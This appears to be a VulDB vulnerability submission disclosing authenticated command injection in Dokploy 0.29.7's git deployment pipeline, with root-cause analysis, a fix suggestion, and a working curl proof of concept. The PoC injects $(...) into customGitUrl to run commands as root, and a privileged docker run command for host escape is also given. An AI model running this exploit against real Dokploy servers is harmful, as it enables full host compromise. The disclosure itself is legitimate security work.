Submit #879846: Dokploy 0.29.7 OS Command Injectioninfo

TitelDokploy 0.29.7 OS Command Injection
BeschreibungAuthenticated Remote Code Execution via Shell Command Injection in the Deployment Pipeline (git URL / branch / Docker credentials). Affected: Dokploy v0.29.7 (dokploy/dokploy:latest), source at commit c968a275. CWE-78 (OS Command Injection). CVSS: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Critical). Privileges: any authenticated org member with service:create (application create/edit). Status: validated PoC, command executed as uid=0(root) on the orchestrator. SUMMARY Dokploy builds shell commands with JavaScript template literals and runs them via child_process.exec() (through /bin/sh -c). User-supplied branch names, repository URLs, and Docker registry credentials are interpolated directly into these commands without escaping. A shEscape() helper exists in services/registry.ts but is not applied to the deployment paths. ROOT CAUSE packages/server/src/utils/process/execAsync.ts:10 — execAsyncBase = util.promisify(exec) (node child_process.exec -> /bin/sh -c). A non-shell execFileAsync exists in the same file but the deploy pipeline uses execAsync exclusively. INJECTION POINTS (unescaped ${variable} interpolation) - Custom Git: packages/server/src/utils/providers/git.ts:81 — git clone --branch ${customGitBranch} ... ${customGitUrl} ${outputPath} - GitHub: packages/server/src/utils/providers/github.ts:170 — git clone --branch ${branch} ... ${cloneUrl} ${outputPath} - GitLab: packages/server/src/utils/providers/gitlab.ts:155 — git clone --branch ${gitlabBranch} ... ${cloneUrl} ${outputPath} - Bitbucket: packages/server/src/utils/providers/bitbucket.ts:128 — git clone --branch ${bitbucketBranch} ... ${cloneUrl} ${outputPath} - Docker login: packages/server/src/utils/providers/docker.ts:16 — echo "${password}" | docker login --username "${username}" --password-stdin "${registryUrl}" - GIT_SSH_COMMAND: packages/server/src/utils/providers/git.ts:76,79 — ssh -i /tmp/id_rsa -p ${port} -o UserKnownHostsFile=${knownHostsPath} The branch fields are regex-validated (VALID_BRANCH_REGEX = /^[a-zA-Z0-9._\-/]+$/), so the cleanest reproduced sink is customGitUrl, which has NO regex (plain z.string() in db/schema/application.ts:506; only deploy-time gate is isHttpOrHttps() = ^https?://, a prefix check). Docker username/password/registryUrl and SSH port/knownHostsPath are likewise unescaped. shEscape() EXISTS BUT UNUSED HERE packages/server/src/services/registry.ts:14 defines shEscape(); applied to registry credentials in safeDockerLoginCommand() but never to the git deployment paths above. IMPACT An authenticated attacker with application create/edit privileges achieves RCE on the Dokploy server by injecting shell metacharacters into branch/URL/credential fields. The shell runs as container root; because Dokploy mounts the Docker socket by design, this escalates to full host compromise (e.g. docker run -v /:/host --privileged busybox chroot /host sh). The core issue is the missing shell escaping, not the Docker socket. ATTACK CHAIN 1. Log into Dokploy (fresh install: first user becomes owner). 2. Create an application with source type = git (custom git). 3. Set customGitUrl to a value starting with http(s):// (to pass isHttpOrHttps) that embeds a command substitution, e.g. http://127.0.0.1/x$(id>/tmp/RCE_DOKPLOY). 4. Deploy (or call application.deploy). 5. The pipeline runs: git clone --branch main --depth 1 --progress http://127.0.0.1/x$(id>/tmp/RCE_DOKPLOY) /etc/dokploy/applications/.../code — the $(...) executes as root. Use $(...) command substitution, not ;cmd;# — a trailing # comments out the rest of the if...then...fi block and causes a parse error before execution. WHY NOT UNAUTHENTICATED apps/dokploy/pages/api/deploy/[refreshToken].ts rejects mismatched branches before deploying (branch !== application.customGitBranch -> 301 "Branch Not Match"). An injection payload in the branch never equals a real configured ref, so the webhook path cannot be abused unauthenticated. This is an authenticated vulnerability (PR:L). PROOF OF CONCEPT (validated) TARGET=http://localhost:3000 curl -s -c c.txt -X POST $TARGET/api/auth/sign-up/email -H 'content-type: application/json' -d '{"name":"admin","email":"[email protected]","password":"LabPassw0rd!23"}' >/dev/null curl -s -c c.txt -X POST $TARGET/api/auth/sign-in/email -H 'content-type: application/json' -d '{"email":"[email protected]","password":"LabPassw0rd!23"}' >/dev/null curl -s -b c.txt -X POST $TARGET/api/trpc/project.create -H 'content-type: application/json' -d '{"json":{"name":"poc","description":"poc"}}' >/dev/null ENV=$(curl -s -b c.txt $TARGET/api/trpc/project.all | python3 -c 'import sys,json;print(json.load(sys.stdin)["result"]["data"]["json"][0]["environments"][0]["environmentId"])') AID=$(curl -s -b c.txt -X POST $TARGET/api/trpc/application.create -H 'content-type: application/json' -d "{\"json\":{\"name\":\"rceapp\",\"appName\":\"rceapp\",\"environmentId\":\"$ENV\"}}" | python3 -c 'import sys,json;print(json.load(sys.stdin)["result"]["data"]["json"]["applicationId"])') curl -s -b c.txt -X POST $TARGET/api/trpc/application.saveGitProvider -H 'content-type: application/json' -d "{\"json\":{\"applicationId\":\"$AID\",\"customGitUrl\":\"http://127.0.0.1/x\$(id>/tmp/RCE_DOKPLOY)\",\"customGitBranch\":\"main\",\"customGitBuildPath\":\"/\",\"watchPaths\":[],\"enableSubmodules\":false,\"customGitSSHKeyId\":null}}" curl -s -b c.txt -X POST $TARGET/api/trpc/application.deploy -H 'content-type: application/json' -d "{\"json\":{\"applicationId\":\"$AID\"}}" sleep 18 && docker exec dokploy cat /tmp/RCE_DOKPLOY RESULT: uid=0(root) gid=0(root) groups=0(root) — confirmed RCE as root on the control-plane host. SUGGESTED FIX Apply the existing shEscape() to all user-supplied values in the git/docker deployment paths (customGitUrl, cloneUrl, registryUrl, username, password, port, knownHostsPath), or switch these paths to execFile/execFileAsync to avoid /bin/sh -c entirely.
Quelle⚠️ https://github.com/Dokploy/dokploy/blob/c968a2755e85bf76fc97eb6ba15e23c4ff65a5c7/packages/server/src/utils/providers/git.ts#L81
Benutzer
 Gabriel Alves (UID 99209)
Einreichung04.07.2026 05:34 (vor 2 Monaten)
Moderieren31.08.2026 14:27 (2 months later)
StatusDuplikat
VulDB Eintrag387869 [Dokploy bis 0.29.12 Git Provider git.ts cloneGitRepository customGitUrl/customGitBranch erweiterte Rechte]
Punkte0

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!